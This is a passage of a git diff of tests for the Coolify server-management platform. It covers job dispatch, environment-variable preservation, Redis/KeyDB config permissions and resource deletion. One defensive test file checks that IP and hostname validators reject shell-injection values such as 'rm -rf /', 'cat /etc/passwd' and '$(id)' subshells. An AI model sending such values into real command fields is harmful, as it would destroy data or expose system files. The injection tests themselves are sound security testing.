Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); + Server::shouldReceive('get')->andReturn(collect([$server])); + + $job = new ServerManagerJob; + $job->handle(); + + // Sentinel is out of sync so SSH connection check is needed + Queue::assertPushed(ServerConnectionCheckJob::class, function ($job) use ($server) { + return $job->server->id === $server->id; + }); +}); + +it('dispatches ServerConnectionCheckJob when sentinel is not enabled', function () { $settings = Mockery::mock(InstanceSettings::class); $settings->instance_timezone = 'UTC'; $this->app->instance(InstanceSettings::class, $settings); - // Create a mock server with sentinel disabled $server = Mockery::mock(Server::class)->makePartial(); $server->shouldReceive('isSentinelEnabled')->andReturn(false); + $server->shouldReceive('isSentinelLive')->never(); $server->id = 2; $server->name = 'test-server-no-sentinel'; $server->ip = '192.168.1.101'; @@ -64,78 +110,14 @@ $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); - // Mock the Server query Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); Server::shouldReceive('get')->andReturn(collect([$server])); - // Execute the job $job = new ServerManagerJob; $job->handle(); - // Assert CheckAndStartSentinelJob was NOT dispatched - Queue::assertNotPushed(CheckAndStartSentinelJob::class); -}); - -it('respects server timezone when scheduling sentinel checks', function () { - // Mock InstanceSettings - $settings = Mockery::mock(InstanceSettings::class); - $settings->instance_timezone = 'UTC'; - $this->app->instance(InstanceSettings::class, $settings); - - // Set test time to top of hour in America/New_York (which is 17:00 UTC) - Carbon::setTestNow('2025-01-15 17:00:00'); // 12:00 PM EST (top of hour in EST) - - // Create a mock server with sentinel enabled and America/New_York timezone - $server = Mockery::mock(Server::class)->makePartial(); - $server->shouldReceive('isSentinelEnabled')->andReturn(true); - $server->id = 3; - $server->name = 'test-server-est'; - $server->ip = '192.168.1.102'; - $server->sentinel_updated_at = Carbon::now(); - $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'America/New_York']); - $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); - - // Mock the Server query - Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); - Server::shouldReceive('get')->andReturn(collect([$server])); - - // Execute the job - $job = new ServerManagerJob; - $job->handle(); - - // Assert CheckAndStartSentinelJob was dispatched (should run at top of hour in server's timezone) - Queue::assertPushed(CheckAndStartSentinelJob::class, function ($job) use ($server) { + // Sentinel is not enabled so SSH connection check must run + Queue::assertPushed(ServerConnectionCheckJob::class, function ($job) use ($server) { return $job->server->id === $server->id; }); }); - -it('does not dispatch sentinel check when not at top of hour', function () { - // Mock InstanceSettings - $settings = Mockery::mock(InstanceSettings::class); - $settings->instance_timezone = 'UTC'; - $this->app->instance(InstanceSettings::class, $settings); - - // Set test time to middle of the hour (not top of hour) - Carbon::setTestNow('2025-01-15 12:30:00'); - - // Create a mock server with sentinel enabled - $server = Mockery::mock(Server::class)->makePartial(); - $server->shouldReceive('isSentinelEnabled')->andReturn(true); - $server->id = 4; - $server->name = 'test-server-mid-hour'; - $server->ip = '192.168.1.103'; - $server->sentinel_updated_at = Carbon::now(); - $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); - $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); - - // Mock the Server query - Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); - Server::shouldReceive('get')->andReturn(collect([$server])); - - // Execute the job - $job = new ServerManagerJob; - $job->handle(); - - // Assert CheckAndStartSentinelJob was NOT dispatched (not top of hour) - Queue::assertNotPushed(CheckAndStartSentinelJob::class); -}); diff --git a/tests/Unit/ServerQueryScopeTest.php b/tests/Unit/ServerQueryScopeTest.php index 8ab0b8b10..0d1e7729c 100644 --- a/tests/Unit/ServerQueryScopeTest.php +++ b/tests/Unit/ServerQueryScopeTest.php @@ -3,7 +3,6 @@ use App\Enums\ProxyTypes; use App\Models\Server; use Illuminate\Database\Eloquent\Builder; -use Mockery; it('filters servers by proxy type using whereProxyType scope', function () { // Mock the Builder diff --git a/tests/Unit/ServiceIndexValidationTest.php b/tests/Unit/ServiceIndexValidationTest.php new file mode 100644 index 000000000..7b746cde6 --- /dev/null +++ b/tests/Unit/ServiceIndexValidationTest.php @@ -0,0 +1,11 @@ + $this->rules)->call($component); + + expect($rules['publicPortTimeout']) + ->toContain('min:1'); +}); diff --git a/tests/Unit/ServiceParserEnvVarPreservationTest.php b/tests/Unit/ServiceParserEnvVarPreservationTest.php new file mode 100644 index 000000000..3f56447dc --- /dev/null +++ b/tests/Unit/ServiceParserEnvVarPreservationTest.php @@ -0,0 +1,69 @@ +toContain( + "// Simple variable reference (e.g. DATABASE_URL: \${DATABASE_URL})\n". + " // Use firstOrCreate to avoid overwriting user-saved values on redeploy\n". + ' $envVar = $resource->environment_variables()->firstOrCreate(' + ); +}); + +it('does not set value to null for simple variable references in serviceParser', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // The old bug: $value = null followed by updateOrCreate with 'value' => $value + // This pattern should NOT exist for simple variable references + expect($parsersFile)->not->toContain( + "\$value = null;\n". + ' $resource->environment_variables()->updateOrCreate(' + ); +}); + +it('uses firstOrCreate for simple variable refs without default in serviceParser balanced brace path', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // In the balanced brace extraction path, simple variable references without defaults + // should use firstOrCreate to preserve user-saved values + // This appears twice (applicationParser and serviceParser) + $count = substr_count( + $parsersFile, + "// Simple variable reference without default\n". + " // Use firstOrCreate to avoid overwriting user-saved values on redeploy\n". + ' $envVar = $resource->environment_variables()->firstOrCreate(' + ); + + expect($count)->toBe(1, 'serviceParser should use firstOrCreate for simple variable refs without default'); +}); + +it('populates environment array with saved DB value instead of raw compose variable', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // After firstOrCreate, the environment should be populated with the DB value ($envVar->value) + // not the raw compose variable reference (e.g., ${DATABASE_URL}) + // This pattern should appear in both parsers for all variable reference types + expect($parsersFile)->toContain('// Add the variable to the environment using the saved DB value'); + expect($parsersFile)->toContain('$environment[$key->value()] = $envVar->value;'); + expect($parsersFile)->toContain('$environment[$content] = $envVar->value;'); +}); + +it('does not use updateOrCreate with value null for user-editable environment variables', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // The specific bug pattern: setting $value = null then calling updateOrCreate with 'value' => $value + // This overwrites user-saved values with null on every deploy + expect($parsersFile)->not->toContain( + "\$value = null;\n". + ' $resource->environment_variables()->updateOrCreate(' + ); +}); diff --git a/tests/Unit/ServiceRequiredPortTest.php b/tests/Unit/ServiceRequiredPortTest.php index 2ad345c44..6ef5bf030 100644 --- a/tests/Unit/ServiceRequiredPortTest.php +++ b/tests/Unit/ServiceRequiredPortTest.php @@ -2,7 +2,6 @@ use App\Models\Service; use App\Models\ServiceApplication; -use Mockery; it('returns required port from service template', function () { // Mock get_service_templates() function diff --git a/tests/Unit/SshCommandInjectionTest.php b/tests/Unit/SshCommandInjectionTest.php new file mode 100644 index 000000000..e7eeff62d --- /dev/null +++ b/tests/Unit/SshCommandInjectionTest.php @@ -0,0 +1,125 @@ +validate('ip', '192.168.1.1', function () use (&$failed) { + $failed = true; + }); + expect($failed)->toBeFalse(); +}); + +it('accepts a valid IPv6 address', function () { + $rule = new ValidServerIp; + $failed = false; + $rule->validate('ip', '2001:db8::1', function () use (&$failed) { + $failed = true; + }); + expect($failed)->toBeFalse(); +}); + +it('accepts a valid hostname', function () { + $rule = new ValidServerIp; + $failed = false; + $rule->validate('ip', 'my-server.example.com', function () use (&$failed) { + $failed = true; + }); + expect($failed)->toBeFalse(); +}); + +it('rejects injection payloads in server ip', function (string $payload) { + $rule = new ValidServerIp; + $failed = false; + $rule->validate('ip', $payload, function () use (&$failed) { + $failed = true; + }); + expect($failed)->toBeTrue("ValidServerIp should reject: $payload"); +})->with([ + 'semicolon' => ['192.168.1.1; rm -rf /'], + 'pipe' => ['192.168.1.1 | cat /etc/passwd'], + 'backtick' => ['192.168.1.1`id`'], + 'dollar subshell' => ['192.168.1.1$(id)'], + 'ampersand' => ['192.168.1.1 & id'], + 'newline' => ["192.168.1.1\nid"], + 'null byte' => ["192.168.1.1\0id"], +]); + +// ------------------------------------------------------------------------- +// Server model setter casts +// ------------------------------------------------------------------------- + +it('strips dangerous characters from server ip on write', function () { + $server = new App\Models\Server; + $server->ip = '192.168.1.1;rm -rf /'; + // Regex [^0-9a-zA-Z.:%-] removes ; space and /; hyphen is allowed + expect($server->ip)->toBe('192.168.1.1rm-rf'); +}); + +it('strips dangerous characters from server user on write', function () { + $server = new App\Models\Server; + $server->user = 'root$(id)'; + expect($server->user)->toBe('rootid'); +}); + +it('strips non-numeric characters from server port on write', function () { + $server = new App\Models\Server; + $server->port = '22; evil'; + expect($server->port)->toBe(22); +}); + +// ------------------------------------------------------------------------- +// escapeshellarg() in generated SSH commands (source-level verification) +// ------------------------------------------------------------------------- + +it('has escapedUserAtHost private static helper in SshMultiplexingHelper', function () { + $reflection = new ReflectionClass(SshMultiplexingHelper::class); + expect($reflection->hasMethod('escapedUserAtHost'))->toBeTrue(); + + $method = $reflection->getMethod('escapedUserAtHost'); + expect($method->isPrivate())->toBeTrue(); + expect($method->isStatic())->toBeTrue(); +}); + +it('wraps port with escapeshellarg in getCommonSshOptions', function () { + $reflection = new ReflectionClass(SshMultiplexingHelper::class); + $source = file_get_contents($reflection->getFileName()); + + expect($source)->toContain('escapeshellarg((string) $server->port)'); +}); + +it('has no raw user@ip string interpolation in SshMultiplexingHelper', function () { + $reflection = new ReflectionClass(SshMultiplexingHelper::class); + $source = file_get_contents($reflection->getFileName()); + + expect($source)->not->toContain('{$server->user}@{$server->ip}'); +}); + +// ------------------------------------------------------------------------- +// ValidHostname rejects shell metacharacters +// ------------------------------------------------------------------------- + +it('rejects semicolon in hostname', function () { + $rule = new ValidHostname; + $failed = false; + $rule->validate('hostname', 'example.com;id', function () use (&$failed) { + $failed = true; + }); + expect($failed)->toBeTrue(); +}); + +it('rejects backtick in hostname', function () { + $rule = new ValidHostname; + $failed = false; + $rule->validate('hostname', 'example.com`id`', function () use (&$failed) { + $failed = true; + }); + expect($failed)->toBeTrue(); +}); diff --git a/tests/Unit/StartKeydbConfigPermissionTest.php b/tests/Unit/StartKeydbConfigPermissionTest.php new file mode 100644 index 000000000..dca3b0e8c --- /dev/null +++ b/tests/Unit/StartKeydbConfigPermissionTest.php @@ -0,0 +1,52 @@ +configuration_dir = '/data/coolify/databases/test-uuid'; + $action->commands = []; + + $database = Mockery::mock(StandaloneKeydb::class)->makePartial(); + $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn('maxmemory 2gb'); + $action->database = $database; + + if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) { + $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf"; + } + + expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/keydb.conf'); +}); + +test('keydb config chown command is not added when keydb_conf is null', function () { + $action = new StartKeydb; + $action->configuration_dir = '/data/coolify/databases/test-uuid'; + $action->commands = []; + + $database = Mockery::mock(StandaloneKeydb::class)->makePartial(); + $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn(null); + $action->database = $database; + + if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) { + $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf"; + } + + expect($action->commands)->toBeEmpty(); +}); + +test('keydb config chown command is not added when keydb_conf is empty', function () { + $action = new StartKeydb; + $action->configuration_dir = '/data/coolify/databases/test-uuid'; + $action->commands = []; + + $database = Mockery::mock(StandaloneKeydb::class)->makePartial(); + $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn(''); + $action->database = $database; + + if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) { + $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf"; + } + + expect($action->commands)->toBeEmpty(); +}); diff --git a/tests/Unit/StartRedisConfigPermissionTest.php b/tests/Unit/StartRedisConfigPermissionTest.php new file mode 100644 index 000000000..77574287e --- /dev/null +++ b/tests/Unit/StartRedisConfigPermissionTest.php @@ -0,0 +1,53 @@ +configuration_dir = '/data/coolify/databases/test-uuid'; + $action->commands = []; + + $database = Mockery::mock(StandaloneRedis::class)->makePartial(); + $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn('maxmemory 2gb'); + $action->database = $database; + + // Simulate the chown logic from handle() + if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) { + $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf"; + } + + expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/redis.conf'); +}); + +test('redis config chown command is not added when redis_conf is null', function () { + $action = new StartRedis; + $action->configuration_dir = '/data/coolify/databases/test-uuid'; + $action->commands = []; + + $database = Mockery::mock(StandaloneRedis::class)->makePartial(); + $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn(null); + $action->database = $database; + + if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) { + $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf"; + } + + expect($action->commands)->toBeEmpty(); +}); + +test('redis config chown command is not added when redis_conf is empty', function () { + $action = new StartRedis; + $action->configuration_dir = '/data/coolify/databases/test-uuid'; + $action->commands = []; + + $database = Mockery::mock(StandaloneRedis::class)->makePartial(); + $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn(''); + $action->database = $database; + + if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) { + $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf"; + } + + expect($action->commands)->toBeEmpty(); +}); diff --git a/tests/v4/Feature/DangerDeleteResourceTest.php b/tests/v4/Feature/DangerDeleteResourceTest.php new file mode 100644 index 000000000..7a73f5979 --- /dev/null +++ b/tests/v4/Feature/DangerDeleteResourceTest.php @@ -0,0 +1,81 @@ + 0]); + Queue::fake(); + + $this->user = User::factory()->create([ + 'password' => Hash::make('test-password'), + ]); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::factory()->create([ + 'server_id' => $this->server->id, + 'network' => 'test-network-'.fake()->unique()->word(), + ]); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + // Bind route parameters so get_route_parameters() works in the Danger component + $route = Route::get('/test/{project_uuid}/{environment_uuid}', fn () => '')->name('test.danger'); + $request = Request::create("/test/{$this->project->uuid}/{$this->environment->uuid}"); + $route->bind($request); + app('router')->setRoutes(app('router')->getRoutes()); + Route::dispatch($request); +}); + +test('delete returns error string when password is incorrect', function () { + Livewire::test(Danger::class, ['resource' => $this->application]) + ->call('delete', 'wrong-password') + ->assertReturned('The provided password is incorrect.'); + + // Resource should NOT be deleted + expect(Application::find($this->application->id))->not->toBeNull(); +}); + +test('delete succeeds with correct password and redirects', function () { + Livewire::test(Danger::class, ['resource' => $this->application]) + ->call('delete', 'test-password') + ->assertHasNoErrors(); + + // Resource should be soft-deleted + expect(Application::find($this->application->id))->toBeNull(); +}); + +test('delete applies selectedActions from checkbox state', function () { + $component = Livewire::test(Danger::class, ['resource' => $this->application]) + ->call('delete', 'test-password', ['delete_configurations', 'docker_cleanup']); + + expect($component->get('delete_volumes'))->toBeFalse(); + expect($component->get('delete_connected_networks'))->toBeFalse(); + expect($component->get('delete_configurations'))->toBeTrue(); + expect($component->get('docker_cleanup'))->toBeTrue(); +}); diff --git a/versions.json b/versions.json index 1ce790111..7564f625e 100644 --- a/versions.json +++ b/versions.json @@ -1,19 +1,19 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.463" + "version": "4.0.0-beta.469" }, "nightly": { - "version": "4.0.0-beta.464" + "version": "4.0.0" }, "helper": { "version": "1.0.12" }, "realtime": { - "version": "1.0.10" + "version": "1.0.11" }, "sentinel": { - "version": "0.0.18" + "version": "0.0.19" } }, "traefik": { @@ -26,4 +26,4 @@ "v3.0": "3.0.4", "v2.11": "2.11.32" } -} \ No newline at end of file +}